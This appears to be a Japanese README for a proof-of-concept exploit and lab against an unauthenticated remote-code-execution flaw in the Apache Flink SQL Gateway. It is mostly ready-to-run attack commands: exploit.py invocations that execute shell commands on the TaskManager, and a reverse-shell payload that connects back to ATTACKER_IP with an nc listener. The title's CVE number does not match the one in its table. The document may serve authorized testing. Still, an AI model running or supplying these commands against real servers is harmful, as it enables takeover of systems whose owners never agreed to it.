
CVE-2026-25194 向けの概念実証エクスプロイトとラボ環境
| CVE | CVE-2026-35194 |
| CVSS | 8.1(高) |
| CWE | CWE-94 — コードインジェクション |
| 影響を受けるバージョン | Flink 1.15.0 – 1.20.3 / 2.0.0 – 2.2.0 |
| 修正済みバージョン | 1.20.4 / 2.0.2 / 2.1.2 / 2.2.1 |
| 攻撃対象領域 | SQL Gateway REST API(デフォルトポート8083、認証なし) |
docker compose up -d
クラスターの起動に約30秒かかります。次の2つのサービスが起動します:
http://localhost:8081http://localhost:8083確認:
curl -s http://localhost:8083/v1/info
# Should return version "1.20.3"
pip install requests
JSONベクター:
python3 exploit.py localhost -p 8083 -v json -c "id > /tmp/pwned"
LIKEベクター:
python3 exploit.py localhost -p 8083 -v like -c "id > /tmp/pwned"
バージョン確認のみ(RCEなし):
python3 exploit.py localhost -p 8083 --check-only
TaskManagerでのRCEを確認:
docker exec flink-taskmanager cat /tmp/pwned
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — exploit
python3 exploit.py TARGET -p 8083 -v json \
-c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
usage: exploit.py [-h] [-p PORT] [-c COMMAND] [-v {json,like}]
[--check-only] [-t TIMEOUT] [--cert CERT] [--key KEY] [--ssl]
target
Options:
target Target host (IP or hostname)
-p, --port SQL Gateway port (default: 8083)
-c, --command Shell command to run on TaskManager
-v, --vector json (default) or like
--check-only Version check only, no exploit
-t, --timeout Request timeout in seconds (default: 30)
--cert / --key Client cert + key for mTLS environments
--ssl Force HTTPS
認可されたセキュリティ研究および教育目的にのみ使用してください。